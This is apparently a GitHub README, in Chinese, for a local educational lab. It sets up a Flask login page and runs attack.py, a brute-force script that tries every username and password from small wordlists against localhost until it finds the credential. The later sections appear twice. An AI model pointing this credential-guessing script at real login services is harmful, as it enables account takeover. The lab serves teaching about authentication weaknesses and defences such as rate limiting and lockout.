MaliqueH5/flask-brute-force-lab
GitHub: MaliqueH5/flask-brute-force-lab
一个使用 Python Flask 和 Requests 构建的本地网络安全实验项目,用于演示暴力破解和撞库攻击的原理及身份验证漏洞。
Stars: 0 | Forks: 0
# 🔐 Python Flask 暴力破解实验
这是一个实操网络安全实验,我构建了一个本地的 Python Flask 登录页面,并使用自定义的暴力破解脚本对其进行攻击,以演示撞库攻击和身份验证漏洞。
## 🎯 实验目标
使用 **Python Flask** 构建一个本地登录页面,然后使用 **Python 暴力破解脚本** 对其进行攻击,该脚本会遍历用户名列表和密码列表,直到找到正确的凭证。
## 🛠️ 使用的工具
- **Terminal** (macOS)
- **Visual Studio Code**
- **Python 3** (通过 Homebrew 安装)
- **Flask** 和 **Requests** (在虚拟环境中)
**💰 成本:** 免费 — 无需订阅、无需付费平台、无需虚拟机 (VM)。
## 📁 文件概览
| 文件 | 用途 |
|-----------------|----------------------------------------------|
| `flaskapp.py` | 目标 — 端口 34224 上的本地登录页面 |
| `testpwlist.txt`| 密码字典 |
| `usernames.txt` | 用户名列表 |
| `attack.py` | 暴力破解攻击脚本 |
所有文件位于:`~/Desktop/flask-lab/`
## 📋 前置条件
- 带有 Terminal 的 macOS
- 已安装 Python 3
- Visual Studio Code
## 🚀 设置与运行说明
### 第 1 步 — 检查 Python
打开 **Terminal** 并运行:
```
python3 --version
```
预期输出:`Python 3.x.x`
### 第 2 步 — 创建项目文件夹
在 **Terminal** 中运行:
```
mkdir ~/Desktop/flask-lab
cd ~/Desktop/flask-lab
```
### 第 3 步 — 设置虚拟环境
在 **Terminal** 中运行:
```
python3 -m venv ~/Desktop/flask-lab/venv
source ~/Desktop/flask-lab/venv/bin/activate
```
你的命令提示符现在应该会在开头显示 **`(venv)`**。
### 第 4 步 — 安装 Flask 和 Requests
在 **Terminal** 中运行:
```
pip install flask requests
```
### 第 5 步 — 打开 Visual Studio Code
1. 打开 **Visual Studio Code**:
- 按 `Cmd + Space`,输入 `Visual Studio Code`,然后按 `Enter`
- 或者点击 Dock 中的 VS Code 图标
2. 在 VS Code 中,转到 **File → Open Folder…**
3. 导航到:
~/Desktop/flask-lab/
4. 点击 **Open**
你现在应该能在 VS Code 资源管理器(左侧面板)中看到 `flask-lab` 文件夹。
### 第 6 步 — 在 VS Code 中创建 `flaskapp.py`
1. 在 VS Code 中,点击资源管理器中的 **New File**(或按 `Cmd + N`)
2. 将文件命名为:`flaskapp.py`
3. 粘贴以下代码:
```
from flask import Flask, request
app = Flask(__name__)
correct_username = "admin"
correct_password = "hunter2"
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username == correct_username and password == correct_password:
return "Welcome!"
else:
return "Invalid credentials!"
return '''
'''
if __name__ == '__main__':
app.run(port=34224)
```
4. 保存:`Cmd + S`
### 第 7 步 — 在 VS Code 中创建 `testpwlist.txt`
1. 在 VS Code 中,点击 **New File**
2. 将文件命名为:`testpwlist.txt`
3. 粘贴这些密码(每行一个):
```
123456
password
letmein
hunter2
qwerty
```
4. 保存:`Cmd + S`
### 第 8 步 — 在 VS Code 中创建 `usernames.txt`
1. 在 VS Code 中,点击 **New File**
2. 将文件命名为:`usernames.txt`
3. 粘贴这些用户名(每行一个):
```
admin
testuser
guest
```
4. 保存:`Cmd + S`
### 第 9 步 — 在 VS Code 中创建 `attack.py`
1. 在 VS Code 中,点击 **New File**
2. 将文件命名为:`attack.py`
3. 粘贴以下代码:
⚠️ **将 `/Users/your-username/` 替换为你实际的用户名**(例如,`/Users/malique/`):
```
import requests
usernames = open('/Users/your-username/Desktop/flask-lab/usernames.txt', 'r')
passwords = open('/Users/your-username/Desktop/flask-lab/testpwlist.txt', 'r')
count = 1
for username in usernames:
username = username.rstrip()
passwords.seek(0)
for password in passwords:
password = password.rstrip()
r = requests.post(
'http://localhost:34224/',
data={'username': username, 'password': password}
)
if 'Invalid credentials!' not in r.text:
print(f'Found! Username: {username} | Password: {password}')
exit()
else:
print(f'{count}. Incorrect — Username: {username} | Password: {password}')
count += 1
```
4. 保存:`Cmd + S`
### 第 10 步 — 在 Terminal 中运行 Flask 服务器
1. 打开 **Terminal**
2. 运行:
cd ~/Desktop/flask-lab
source ~/Desktop/flask-lab/venv/bin/activate
python3 ~/Desktop/flask-lab/flaskapp.py
3. 保持此 Terminal 窗口打开。服务器运行在:
http://127.0.0.1:34224
### 第 11 步 — 在第二个 Terminal 中运行攻击脚本
1. 打开 **第二个 Terminal 窗口**(`Cmd + N` 或 `Cmd + T`)
2. 运行:
cd ~/Desktop/flask-lab
source ~/Desktop/flask-lab/venv/bin/activate
python3 ~/Desktop/flask-lab/attack.py
### ✅ 预期输出
```
1. Incorrect — Username: admin | Password: 123456
2. Incorrect — Username: admin | Password: password
3. Incorrect — Username: admin | Password: letmein
Found! Username: admin | Password: hunter2
```
## 📸 截图
### 登录页面(攻击前)
### 正在进行的暴力破解攻击
### 成功登录
## ⚙️ 工作原理
| 组件 | 作用 |
|----------------------|------------------------------------------------------------------------------|
| `flaskapp.py` | 对正确凭证返回 `"Welcome!"` 的登录页面 |
| `attack.py` | 通过 POST 请求遍历用户名/密码组合 |
| `rstrip()` | 移除换行符(对于匹配至关重要) |
| `passwords.seek(0)` | 为每个新用户名将密码文件指针重置到开头 |
一旦找到正确的凭证,脚本就会立即停止。
## 💡 关键要点
- ✅ 在**每个** Terminal 窗口中激活虚拟环境。
- ✅ 使用**两个 Terminal 窗口**:一个用于服务器,一个用于攻击。
- ✅ 所有文件均在 **VS Code** 中创建(第 5-9 步)。
- ✅ `rstrip()` 和 `passwords.seek(0)` 都至关重要。
- ✅ 完全在本地运行 — 无需付费平台或虚拟机 (VM)。
- ✅ 演示了真实暴力破解和撞库攻击中使用的相同逻辑。
## 📂 文件夹结构
```
~/Desktop/flask-lab/
├── flaskapp.py ← The target login server
├── testpwlist.txt ← Password wordlist
├── usernames.txt ← Username list
├── attack.py ← Brute-force attack script
├── venv/ ← Virtual environment
└── screenshots/ ← Lab screenshots (optional)
```
## 🔄 设置总结
| 步骤 | 工具 | 操作 |
|------|---------------|-----------------------------------------------|
| 1–4 | Terminal | 设置 Python、venv、Flask、Requests |
| 5–9 | VS Code | 创建所有项目文件 |
| 10 | Terminal 1 | 运行 Flask 服务器 (`flaskapp.py`) |
| 11 | Terminal 2 | 运行暴力破解脚本 (`attack.py`) |
## 🎓 教育目的
本实验**仅用于教育目的**。它演示了暴力破解攻击的工作原理,以便你能更好地了解:
- 🔒 身份验证漏洞是如何被利用的
- 🛡️ 为什么速率限制、账户锁定和 CAPTCHA 等防御机制很重要
- 🧪 如何安全地构建和测试你自己的身份验证系统
## 👤 作者
**Malique Holley**
IT 支持与网络安全爱好者
## 📜 许可证
可免费用于**教育目的**。
### 正在进行的暴力破解攻击
### 成功登录
## ⚙️ 工作原理
| 组件 | 作用 |
|----------------------|------------------------------------------------------------------------------|
| `flaskapp.py` | 对正确凭证返回 `"Welcome!"` 的登录页面 |
| `attack.py` | 通过 POST 请求遍历用户名/密码组合 |
| `rstrip()` | 移除换行符(对于匹配至关重要) |
| `passwords.seek(0)` | 为每个新用户名将密码文件指针重置到开头 |
一旦找到正确的凭证,脚本就会立即停止。
## 💡 关键要点
- ✅ 在**每个** Terminal 窗口中激活虚拟环境。
- ✅ 使用**两个 Terminal 窗口**:一个用于服务器,一个用于攻击。
- ✅ 所有文件均在 **VS Code** 中创建(第 5-9 步)。
- ✅ `rstrip()` 和 `passwords.seek(0)` 都至关重要。
- ✅ 完全在本地运行 — 无需付费平台或虚拟机 (VM)。
- ✅ 演示了真实暴力破解和撞库攻击中使用的相同逻辑。
## 📂 文件夹结构
```
~/Desktop/flask-lab/
├── flaskapp.py ← The target login server
├── testpwlist.txt ← Password wordlist
├── usernames.txt ← Username list
├── attack.py ← Brute-force attack script
├── venv/ ← Virtual environment
└── screenshots/ ← Lab screenshots (optional)
```
## 🔄 设置总结
| 步骤 | 工具 | 操作 |
|------|---------------|-----------------------------------------------|
| 1–4 | Terminal | 设置 Python、venv、Flask、Requests |
| 5–9 | VS Code | 创建所有项目文件 |
| 10 | Terminal 1 | 运行 Flask 服务器 (`flaskapp.py`) |
| 11 | Terminal 2 | 运行暴力破解脚本 (`attack.py`) |
## 🎓 教育目的
本实验**仅用于教育目的**。它演示了暴力破解攻击的工作原理,以便你能更好地了解:
- 🔒 身份验证漏洞是如何被利用的
- 🛡️ 为什么速率限制、账户锁定和 CAPTCHA 等防御机制很重要
- 🧪 如何安全地构建和测试你自己的身份验证系统
## 👤 作者
**Malique Holley**
IT 支持与网络安全爱好者
## 📜 许可证
可免费用于**教育目的**。标签:PoC, Python Flask, 凭证填充, 字符串匹配, 密码字典, 暴力破解, 网络安全实验, 身份认证漏洞, 逆向工具